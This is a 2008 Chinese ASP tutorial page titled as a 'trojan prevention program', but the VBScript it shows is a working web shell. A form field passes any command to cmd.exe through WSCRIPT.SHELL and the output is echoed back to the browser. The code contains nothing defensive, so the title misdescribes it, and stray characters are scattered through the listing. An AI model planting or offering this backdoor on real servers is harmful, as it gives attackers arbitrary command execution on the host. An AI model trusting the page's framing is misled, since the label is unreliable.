最新下载
热门教程
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
asp木马防止程序二
时间:2008-09-13 编辑:简简单单 来源:一聚教程网
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
<
' -- create the COM objects that we will be using -- '
Set oScript = Server.createObject("WSCRIPT.SHELL")
Set oScriptNet = Server.createObject("WSCRIPT.NETWORK")
Set oFileSys = Server.createObject("Scripting.FileSystemObject") <
' -- check for a command that we have posted -- '
szCMD = Request.form(".CMD")
If (szCMD <> "") Then <
' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) <
End If <
%>
<HTML>
<BODY>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</form>
<PRE>
<
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.deleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
-
上一个: asp网页木马防止程序
-
下一个: asp数据库备份程序
相关文章
- asp仿采集程序 09-05
- asp 输出word文档程序 02-22
- asp sogou收录抓取程序 12-03
- asp 程序提示中午好,上午好程序 06-23
- [招聘]asp程序员 2000-5000 04-06
- [招聘] asp程序员 03-27